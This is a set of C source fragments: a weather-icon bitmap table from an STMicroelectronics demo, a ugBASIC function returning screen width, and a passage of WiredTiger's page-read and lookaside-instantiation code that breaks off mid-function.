0xFF, 0xF8, 0x1F, 0xFF, 0xF0, 0x1F, 0xFF, 0xF8, 0x1F, 0xFF, 0xF8, 0x1F, 0xFF, 0xF8, 0x1F, 0xFF, 0xF8, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // ICON48_WEATHER_SUNNY 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x01, 0x80, 0x03, 0xC0, 0x01, 0x80, 0x03, 0xC0, 0x01, 0x80, 0x07, 0xC0, 0x03, 0xE0, 0x00, 0x00, 0x0F, 0xC0, 0x01, 0xF0, 0x00, 0x00, 0x0F, 0x80, 0x00, 0xF8, 0x00, 0x00, 0x1F, 0x00, 0x00, 0x78, 0x0F, 0xF0, 0x1E, 0x00, 0x00, 0x30, 0x3F, 0xFC, 0x0C, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x03, 0xF8, 0x1F, 0xC0, 0x00, 0x00, 0x07, 0xE0, 0x07, 0xE0, 0x00, 0x00, 0x07, 0xC0, 0x03, 0xE0, 0x00, 0x00, 0x0F, 0x80, 0x01, 0xF0, 0x00, 0x00, 0x0F, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x1F, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x78, 0x00, 0xFE, 0x1E, 0x00, 0x00, 0x78, 0x7F, 0xFF, 0x1E, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0x1E, 0x00, 0x00, 0x78, 0xFF, 0xFE, 0x1E, 0x00, 0x00, 0x78, 0x7F, 0x00, 0x1E, 0x00, 0x00, 0x78, 0x00, 0x00, 0x1F, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x0F, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x0F, 0x80, 0x01, 0xF0, 0x00, 0x00, 0x07, 0xC0, 0x03, 0xE0, 0x00, 0x00, 0x07, 0xE0, 0x07, 0xE0, 0x00, 0x00, 0x03, 0xF8, 0x1F, 0xC0, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x30, 0x3F, 0xFC, 0x0C, 0x00, 0x00, 0x78, 0x0F, 0xF0, 0x1E, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x1F, 0x00, 0x01, 0xF0, 0x00, 0x00, 0x0F, 0x80, 0x03, 0xE0, 0x00, 0x00, 0x0F, 0xC0, 0x03, 0xC0, 0x01, 0x80, 0x07, 0xC0, 0x01, 0x80, 0x03, 0xC0, 0x01, 0x80, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, // ICON48_WEATHER_SUNNY_CLOUDY 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x03, 0x00, 0x38, 0x01, 0x80, 0x00, 0x07, 0x80, 0x00, 0x03, 0xC0, 0x00, 0x07, 0xC0, 0x00, 0x07, 0xC0, 0x00, 0x03, 0xE0, 0x00, 0x0F, 0x80, 0x00, 0x01, 0xE0, 0xFE, 0x0F, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0x86, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x1F, 0xC7, 0xF0, 0x00, 0x00, 0x00, 0x1E, 0x01, 0xF0, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x78, 0x00, 0x00, 0x00, 0x38, 0x00, 0x78, 0x00, 0x00, 0x00, 0x78, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x78, 0x00, 0x3C, 0x00, 0x00, 0xFC, 0x70, 0x1F, 0xFC, 0x7E, 0x00, 0xFC, 0x70, 0x7F, 0xFE, 0x7E, 0x00, 0xFC, 0x71, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x7B, 0xFC, 0x3F, 0xC0, 0x00, 0x00, 0x7F, 0xE0, 0x07, 0xE0, 0x00, 0x00, 0x3F, 0x80, 0x01, 0xF0, 0x00, 0x01, 0xFF, 0x00, 0x00, 0xFF, 0x80, 0x07, 0xFE, 0x00, 0x00, 0x7F, 0xE0, 0x1F, 0xFC, 0x00, 0x00, 0x3F, 0xF8, 0x3F, 0x8C, 0x00, 0x00, 0x31, 0xFC, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x3F, 0x8F, 0x00, 0x00, 0xF1, 0xFC, 0x1F, 0xFF, 0x80, 0x01, 0xFF, 0xF8, 0x07, 0xFF, 0xE0, 0x07, 0xFF, 0xE0, 0x01, 0xFF, 0xFC, 0x3F, 0xFF, 0x80, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x7F, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xF8, 0x00, 0x00, // ICON48_WEATHER_CLOUDY 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xF0, 0xFE, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x3F, 0xC0, 0x00, 0x00, 0xFF, 0x80, 0x1F, 0xF0, 0x00, 0x01, 0xFF, 0x00, 0x0F, 0xF8, 0x00, 0x03, 0xFE, 0x00, 0x07, 0xFC, 0x00, 0x07, 0xFE, 0x00, 0x07, 0xFC, 0x00, 0x07, 0xC7, 0xE0, 0x00, 0x3E, 0x00, 0x0F, 0xBF, 0xFC, 0x00, 0x1E, 0x00, 0x0F, 0x7F, 0xFE, 0x00, 0x0F, 0x00, 0x0F, 0xFF, 0xFF, 0x80, 0x0F, 0x00, 0x0F, 0xFC, 0x3F, 0xC0, 0x07, 0x00, 0x0F, 0xE0, 0x07, 0xE0, 0x07, 0x00, 0x0F, 0xC0, 0x03, 0xE0, 0x07, 0x00, 0x0F, 0x80, 0x01, 0xF0, 0x0F, 0x01, 0xFF, 0x00, 0x00, 0xFF, 0x8F, 0x07, 0xFE, 0x00, 0x00, 0x7F, 0xEF, 0x0F, 0xFE, 0x00, 0x00, 0x7F, 0xFE, 0x1F, 0xFC, 0x00, 0x00, 0x3F, 0xFE, 0x3F, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x78, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3F, 0x07, 0x00, 0x00, 0xE0, 0xFC, 0x1F, 0xFF, 0x80, 0x01, 0xFF, 0xF8, 0x0F, 0xFF, 0xC0, 0x03, 0xFF, 0xF0, 0x07, 0xFF, 0xE0, 0x07, 0xFF, 0xE0, 0x01, 0xFF, 0xF8, 0x1F, 0xFF, 0x80, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, // ICON48_WEATHER_RAINY 0x00, 0x00, 0x1F, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFE, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x00, 0x07, 0xE0, 0x07, 0xE0, 0x00, 0x00, 0x0F, 0x80, 0x01, 0xF0, 0x00, 0x01, 0xFF, 0x00, 0x00, 0xFF, 0x80, 0x07, 0xFE, 0x00, 0x00, 0x7F, 0xE0, 0x1F, 0xFC, 0x00, 0x00, 0x3F, 0xF8, 0x3F, 0x8C, 0x00, 0x00, 0x31, 0xFC, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x78, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x7C, 0x3F, 0x8F, 0x00, 0x00, 0xF1, 0xFC, 0x1F, 0xFF, 0x80, 0x01, 0xFF, 0xF8, 0x07, 0xFF, 0xE0, 0x07, 0xFF, 0xE0, 0x01, 0xFF, 0xFC, 0x3F, 0xFF, 0x80, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x7F, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xF8, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x18, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x18, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x01, 0x80, 0x3C, 0x00, 0x00, 0x00, 0x01, 0x80, 0x7E, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x7E, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x7E, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x7E, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x3C, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC0, 0x00, 0x00, }; sICON Icon48 = { Icon48_Table, 48, /* Width */ 48, /* Height */ }; /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
638228.c
/***************************************************************************** * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ***************************************************************************** * Copyright 2021 Marco Spedaletti ([email protected]) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *---------------------------------------------------------------------------- * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 * (la "Licenza"); è proibito usare questo file se non in conformità alla * Licenza. Una copia della Licenza è disponibile all'indirizzo: * * http://www.apache.org/licenses/LICENSE-2.0 * * Se non richiesto dalla legislazione vigente o concordato per iscritto, * il software distribuito nei termini della Licenza è distribuito * "COSÌ COM'È", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o * implicite. Consultare la Licenza per il testo specifico che regola le * autorizzazioni e le limitazioni previste dalla medesima. ****************************************************************************/ /**************************************************************************** * INCLUDE SECTION ****************************************************************************/ #include "../../ugbc.h" /**************************************************************************** * CODE SECTION ****************************************************************************/ Variable * screen_get_width( Environment * _environment ) { Variable * width = variable_temporary( _environment, VT_POSITION, "(result of get width)"); MAKE_LABEL vic1_get_width( _environment, width->realName ); return width; }
137523.c
/*- * Copyright (c) 2014-2018 MongoDB, Inc. * Copyright (c) 2008-2014 WiredTiger, Inc. * All rights reserved. * * See the file LICENSE for redistribution information. */ #include "wt_internal.h" /* * __col_instantiate -- * Update a column-store page entry based on a lookaside table update list. */ static int __col_instantiate(WT_SESSION_IMPL *session, uint64_t recno, WT_REF *ref, WT_CURSOR_BTREE *cbt, WT_UPDATE *updlist) { WT_PAGE *page; WT_UPDATE *upd; page = ref->page; /* * Discard any of the updates we don't need. * * Just free the memory: it hasn't been accounted for on the page yet. */ if (updlist->next != NULL && (upd = __wt_update_obsolete_check(session, page, updlist)) != NULL) __wt_free_update_list(session, upd); /* Search the page and add updates. */ WT_RET(__wt_col_search(session, recno, ref, cbt, true)); WT_RET(__wt_col_modify( session, cbt, recno, NULL, updlist, WT_UPDATE_INVALID, false)); return (0); } /* * __row_instantiate -- * Update a row-store page entry based on a lookaside table update list. */ static int __row_instantiate(WT_SESSION_IMPL *session, WT_ITEM *key, WT_REF *ref, WT_CURSOR_BTREE *cbt, WT_UPDATE *updlist) { WT_PAGE *page; WT_UPDATE *upd; page = ref->page; /* * Discard any of the updates we don't need. * * Just free the memory: it hasn't been accounted for on the page yet. */ if (updlist->next != NULL && (upd = __wt_update_obsolete_check(session, page, updlist)) != NULL) __wt_free_update_list(session, upd); /* Search the page and add updates. */ WT_RET(__wt_row_search(session, key, ref, cbt, true, true)); WT_RET(__wt_row_modify( session, cbt, key, NULL, updlist, WT_UPDATE_INVALID, false)); return (0); } /* * __las_page_instantiate_verbose -- * Create a verbose message to display at most once per checkpoint when * performing a lookaside table read. */ static void __las_page_instantiate_verbose(WT_SESSION_IMPL *session, uint64_t las_pageid) { WT_CACHE *cache; uint64_t ckpt_gen_current, ckpt_gen_last; if (!WT_VERBOSE_ISSET(session, WT_VERB_LOOKASIDE | WT_VERB_LOOKASIDE_ACTIVITY)) return; cache = S2C(session)->cache; ckpt_gen_current = __wt_gen(session, WT_GEN_CHECKPOINT); ckpt_gen_last = cache->las_verb_gen_read; /* * This message is throttled to one per checkpoint. To do this we * track the generation of the last checkpoint for which the message * was printed and check against the current checkpoint generation. */ if (WT_VERBOSE_ISSET(session, WT_VERB_LOOKASIDE) || ckpt_gen_current > ckpt_gen_last) { /* * Attempt to atomically replace the last checkpoint generation * for which this message was printed. If the atomic swap fails * we have raced and the winning thread will print the message. */ if (__wt_atomic_casv64(&cache->las_verb_gen_read, ckpt_gen_last, ckpt_gen_current)) { __wt_verbose(session, WT_VERB_LOOKASIDE | WT_VERB_LOOKASIDE_ACTIVITY, "Read from lookaside file triggered for " "file ID %" PRIu32 ", page ID %" PRIu64, S2BT(session)->id, las_pageid); } } } /* * __las_page_instantiate -- * Instantiate lookaside update records in a recently read page. */ static int __las_page_instantiate(WT_SESSION_IMPL *session, WT_REF *ref) { WT_CACHE *cache; WT_CURSOR *cursor; WT_CURSOR_BTREE cbt; WT_DECL_ITEM(current_key); WT_DECL_RET; WT_ITEM las_key, las_timestamp, las_value; WT_PAGE *page; WT_UPDATE *first_upd, *last_upd, *upd; size_t incr, total_incr; uint64_t current_recno, las_counter, las_pageid, las_txnid, recno; uint32_t las_id, session_flags; const uint8_t *p; uint8_t upd_type; bool locked; cursor = NULL; page = ref->page; first_upd = last_upd = upd = NULL; locked = false; total_incr = 0; current_recno = recno = WT_RECNO_OOB; las_pageid = ref->page_las->las_pageid; session_flags = 0; /* [-Werror=maybe-uninitialized] */ WT_CLEAR(las_key); cache = S2C(session)->cache; __las_page_instantiate_verbose(session, las_pageid); WT_STAT_CONN_INCR(session, cache_read_lookaside); WT_STAT_DATA_INCR(session, cache_read_lookaside); if (WT_SESSION_IS_CHECKPOINT(session)) WT_STAT_CONN_INCR(session, cache_read_lookaside_checkpoint); __wt_btcur_init(session, &cbt); __wt_btcur_open(&cbt); WT_ERR(__wt_scr_alloc(session, 0, &current_key)); /* Open a lookaside table cursor. */ __wt_las_cursor(session, &cursor, &session_flags); /* * The lookaside records are in key and update order, that is, there * will be a set of in-order updates for a key, then another set of * in-order updates for a subsequent key. We process all of the updates * for a key and then insert those updates into the page, then all the * updates for the next key, and so on. */ WT_PUBLISH(cache->las_reader, true); __wt_readlock(session, &cache->las_sweepwalk_lock); WT_PUBLISH(cache->las_reader, false); locked = true; for (ret = __wt_las_cursor_position(cursor, las_pageid); ret == 0; ret = cursor->next(cursor)) { WT_ERR(cursor->get_key(cursor, &las_pageid, &las_id, &las_counter, &las_key)); /* * Confirm the search using the unique prefix; if not a match, * we're done searching for records for this page. */ if (las_pageid != ref->page_las->las_pageid) break; /* Allocate the WT_UPDATE structure. */ WT_ERR(cursor->get_value(cursor, &las_txnid, &las_timestamp, &upd_type, &las_value)); WT_ERR(__wt_update_alloc( session, &las_value, &upd, &incr, upd_type)); total_incr += incr; upd->txnid = las_txnid; #ifdef HAVE_TIMESTAMPS WT_ASSERT(session, las_timestamp.size == WT_TIMESTAMP_SIZE); memcpy(&upd->timestamp, las_timestamp.data, las_timestamp.size); #endif switch (page->type) { case WT_PAGE_COL_FIX: case WT_PAGE_COL_VAR: p = las_key.data; WT_ERR(__wt_vunpack_uint(&p, 0, &recno)); if (current_recno == recno) break; WT_ASSERT(session, current_recno < recno); if (first_upd != NULL) { WT_ERR(__col_instantiate(session, current_recno, ref, &cbt, first_upd)); first_upd = NULL; } current_recno = recno; break; case WT_PAGE_ROW_LEAF: if (current_key->size == las_key.size && memcmp(current_key->data, las_key.data, las_key.size) == 0) break; if (first_upd != NULL) { WT_ERR(__row_instantiate(session, current_key, ref, &cbt, first_upd)); first_upd = NULL; } WT_ERR(__wt_buf_set(session, current_key, las_key.data, las_key.size)); break; WT_ILLEGAL_VALUE_ERR(session); } /* Append the latest update to the list. */ if (first_upd == NULL) first_upd = last_upd = upd; else { last_upd->next = upd; last_upd = upd; } upd = NULL; } __wt_readunlock(session, &cache->las_sweepwalk_lock); locked = false; WT_ERR_NOTFOUND_OK(ret); /* Insert the last set of updates, if any. */ if (first_upd != NULL) switch (page->type) { case WT_PAGE_COL_FIX: case WT_PAGE_COL_VAR: WT_ERR(__col_instantiate(session, current_recno, ref, &cbt, first_upd)); first_upd = NULL; break; case WT_PAGE_ROW_LEAF: WT_ERR(__row_instantiate(session, current_key, ref, &cbt, first_upd)); first_upd = NULL; break; WT_ILLEGAL_VALUE_ERR(session); } /* Discard the cursor. */ WT_ERR(__wt_las_cursor_close(session, &cursor, session_flags)); if (total_incr != 0) { __wt_cache_page_inmem_incr(session, page, total_incr); /* * If the updates in lookaside are newer than the versions on * the page, it must be included in the next checkpoint. * * Otherwise, the page image contained the newest versions of * data so the updates are all older and we could consider * marking it clean (i.e., the next checkpoint can use the * version already on disk). * * This needs care because (a) it creates pages with history * that can't be evicted until they are marked dirty again, and * (b) checkpoints may need to visit these pages to resolve * changes evicted while a checkpoint is running. */ page->modify->first_dirty_txn = WT_TXN_FIRST; FLD_SET(page->modify->restore_state, WT_PAGE_RS_LOOKASIDE); if (ref->page_las->skew_newest && !S2C(session)->txn_global.has_stable_timestamp && __wt_txn_visible_all(session, ref->page_las->unstable_txn, WT_TIMESTAMP_NULL(&ref->page_las->unstable_timestamp))) { page->modify->rec_max_txn = ref->page_las->max_txn; __wt_timestamp_set(&page->modify->rec_max_timestamp, &ref->page_las->max_timestamp); __wt_page_modify_clear(session, page); } } err: if (locked) __wt_readunlock(session, &cache->las_sweepwalk_lock); WT_TRET(__wt_las_cursor_close(session, &cursor, session_flags)); WT_TRET(__wt_btcur_close(&cbt, true)); /* * On error, upd points to a single unlinked WT_UPDATE structure, * first_upd points to a list. */ __wt_free(session, upd); __wt_free_update_list(session, first_upd); __wt_scr_free(session, &current_key); return (ret); } /* * __evict_force_check -- * Check if a page matches the criteria for forced eviction. */ static bool __evict_force_check(WT_SESSION_IMPL *session, WT_REF *ref) { WT_BTREE *btree; WT_PAGE *page; btree = S2BT(session); page = ref->page; /* Leaf pages only. */ if (WT_PAGE_IS_INTERNAL(page)) return (false); /* * It's hard to imagine a page with a huge memory footprint that has * never been modified, but check to be sure. */ if (__wt_page_evict_clean(page)) return (false); /* Pages are usually small enough, check that first. */ if (page->memory_footprint < btree->splitmempage) return (false); /* * If this session has more than one hazard pointer, eviction will fail * and there is no point trying. */ if (__wt_hazard_count(session, ref) > 1) return (false); /* If we can do an in-memory split, do it. */ if (__wt_leaf_page_can_split(session, page)) return (true); if (page->memory_footprint < btree->maxmempage) return (false); /* Bump the oldest ID, we're about to do some visibility checks. */ WT_IGNORE_RET(__wt_txn_update_oldest(session, 0)); /* * Allow some leeway if the transaction ID isn't moving forward since * it is unlikely eviction will be able to evict the page. Don't keep * skipping the page indefinitely or large records can lead to * extremely large memory footprints. */ if (!__wt_page_evict_retry(session, page)) return (false); /* Trigger eviction on the next page release. */ __wt_page_evict_soon(session, ref); /* If eviction cannot succeed, don't try. */ return (__wt_page_can_evict(session, ref, NULL)); } /* * __page_read -- * Read a page from the file. */ static int __page_read(WT_SESSION_IMPL *session, WT_REF *ref, uint32_t flags) { WT_DECL_RET; WT_ITEM tmp; WT_PAGE *notused; size_t addr_size; uint64_t time_start, time_stop; uint32_t page_flags, final_state, new_state, previous_state; const uint8_t *addr; bool timer; time_start = time_stop = 0; /* * Don't pass an allocated buffer to the underlying block read function, * force allocation of new memory of the appropriate size. */ WT_CLEAR(tmp); /* * Attempt to set the state to WT_REF_READING for normal reads, or * WT_REF_LOCKED, for deleted pages or pages with lookaside entries. * The difference is that checkpoints can skip over clean pages that * are being read into cache, but need to wait for deletes or lookaside * updates to be resolved (in order for checkpoint to write the correct * version of the page). * * If successful, we've won the race, read the page. */ switch (previous_state = ref->state) { case WT_REF_DISK: new_state = WT_REF_READING; break; case WT_REF_DELETED: case WT_REF_LIMBO: case WT_REF_LOOKASIDE: new_state = WT_REF_LOCKED; break; default: return (0); } if (!__wt_atomic_casv32(&ref->state, previous_state, new_state)) return (0); final_state = WT_REF_MEM; /* If we already have the page image, just instantiate the history. */ if (previous_state == WT_REF_LIMBO) goto skip_read; /* * Get the address: if there is no address, the page was deleted or had * only lookaside entries, and a subsequent search or insert is forcing * re-creation of the name space. */ __wt_ref_info(ref, &addr, &addr_size, NULL); if (addr == NULL) { WT_ASSERT(session, previous_state != WT_REF_DISK); WT_ERR(__wt_btree_new_leaf_page(session, &ref->page)); goto skip_read; } /* * There's an address, read or map the backing disk page and build an * in-memory version of the page. */ timer = !F_ISSET(session, WT_SESSION_INTERNAL); if (timer) time_start = __wt_clock(session); WT_ERR(__wt_bt_read(session, &tmp, addr, addr_size)); if (timer) { time_stop = __wt_clock(session); WT_STAT_CONN_INCR(session, cache_read_app_count); WT_STAT_CONN_INCRV(session, cache_read_app_time, WT_CLOCKDIFF_US(time_stop, time_start)); } /* * Build the in-memory version of the page. Clear our local reference to * the allocated copy of the disk image on return, the in-memory object * steals it. * * If a page is read with eviction disabled, we don't count evicting it * as progress. Since disabling eviction allows pages to be read even * when the cache is full, we want to avoid workloads repeatedly reading * a page with eviction disabled (e.g., a metadata page), then evicting * that page and deciding that is a sign that eviction is unstuck. */ page_flags = WT_DATA_IN_ITEM(&tmp) ? WT_PAGE_DISK_ALLOC : WT_PAGE_DISK_MAPPED; if (LF_ISSET(WT_READ_IGNORE_CACHE_SIZE)) FLD_SET(page_flags, WT_PAGE_EVICT_NO_PROGRESS); WT_ERR(__wt_page_inmem(session, ref, tmp.data, page_flags, &notused)); tmp.mem = NULL; /* * The WT_REF lookaside state should match the page-header state of * any page we read. */ WT_ASSERT(session, (previous_state != WT_REF_LIMBO && previous_state != WT_REF_LOOKASIDE) || ref->page->dsk == NULL || F_ISSET(ref->page->dsk, WT_PAGE_LAS_UPDATE)); skip_read: switch (previous_state) { case WT_REF_DELETED: /* * A truncated page may also have lookaside information. The * delete happened after page eviction (writing the lookaside * information), first update based on the lookaside table and * then apply the delete. */ if (ref->page_las != NULL) { WT_ERR(__las_page_instantiate(session, ref)); ref->page_las->eviction_to_lookaside = false; } /* Move all records to a deleted state. */ WT_ERR(__wt_delete_page_instantiate(session, ref)); break; case WT_REF_LOOKASIDE: if (__wt_las_page_skip_locked(session, ref)) { WT_STAT_CONN_INCR( session, cache_read_lookaside_skipped); ref->page_las->eviction_to_lookaside = true; final_state = WT_REF_LIMBO; break; } /* FALLTHROUGH */ case WT_REF_LIMBO: /* Instantiate updates from the database's lookaside table. */ if (previous_state == WT_REF_LIMBO) { WT_STAT_CONN_INCR(session, cache_read_lookaside_delay); if (WT_SESSION_IS_CHECKPOINT(session)) WT_STAT_CONN_INCR(session, cache_read_lookaside_delay_checkpoint); } WT_ERR(__las_page_instantiate(session, ref)); ref->page_las->eviction_to_lookaside = false; break; } /* * We no longer need lookaside entries once the page is instantiated. * There's no reason for the lookaside remove to fail, but ignore it * if for some reason it fails, we've got a valid page. * * Don't free WT_REF.page_las, there may be concurrent readers. */ if (final_state == WT_REF_MEM && ref->page_las != NULL) WT_IGNORE_RET(__wt_las_remove_block( session, ref->page_las->las_pageid, false)); WT_PUBLISH(ref->state, final_state); return (ret); err: /* * If the function building an in-memory version of the page failed, * it discarded the page, but not the disk image. Discard the page * and separately discard the disk image in all cases. */ if (ref->page != NULL && previous_state != WT_REF_LIMBO) __wt_ref_out(session, ref); WT_PUBLISH(ref->state, previous_state); __wt_buf_free(session, &tmp); return (ret); } /* * __wt_page_in_func -- * Acquire a hazard pointer to a page; if the page is not in-memory, * read it from the disk and build an in-memory version. */ int __wt_page_in_func(WT_SESSION_IMPL *session, WT_REF *ref, uint32_t flags #ifdef HAVE_DIAGNOSTIC , const char *file, int line #endif ) { WT_BTREE *btree; WT_DECL_RET; WT_PAGE *page; uint64_t sleep_usecs, yield_cnt; uint32_t current_state; int force_attempts; bool busy, cache_work, did_read, stalled, wont_need; btree = S2BT(session); if (F_ISSET(session, WT_SESSION_IGNORE_CACHE_SIZE)) LF_SET(WT_READ_IGNORE_CACHE_SIZE); /* Sanity check flag combinations. */ WT_ASSERT(session, !LF_ISSET( WT_READ_DELETED_SKIP | WT_READ_NO_WAIT | WT_READ_LOOKASIDE) || LF_ISSET(WT_READ_CACHE)); WT_ASSERT(session, !LF_ISSET(WT_READ_DELETED_CHECK) || !LF_ISSET(WT_READ_DELETED_SKIP)); /* * Ignore reads of pages already known to be in cache, otherwise the * eviction server can dominate these statistics. */ if (!LF_ISSET(WT_READ_CACHE)) { WT_STAT_CONN_INCR(session, cache_pages_requested); WT_STAT_DATA_INCR(session, cache_pages_requested); } for (did_read = wont_need = stalled = false, force_attempts = 0, sleep_usecs = yield_cnt = 0;;) { switch (current_state = ref->state) { case WT_REF_DELETED: if (LF_ISSET(WT_READ_DELETED_SKIP | WT_READ_NO_WAIT)) return (WT_NOTFOUND); if (LF_ISSET(WT_READ_DELETED_CHECK) && __wt_delete_page_skip(session, ref, false)) return (WT_NOTFOUND); goto read; case WT_REF_LOOKASIDE: if (LF_ISSET(WT_READ_CACHE)) { if (!LF_ISSET(WT_READ_LOOKASIDE)) return (WT_NOTFOUND); /* * If we skip a 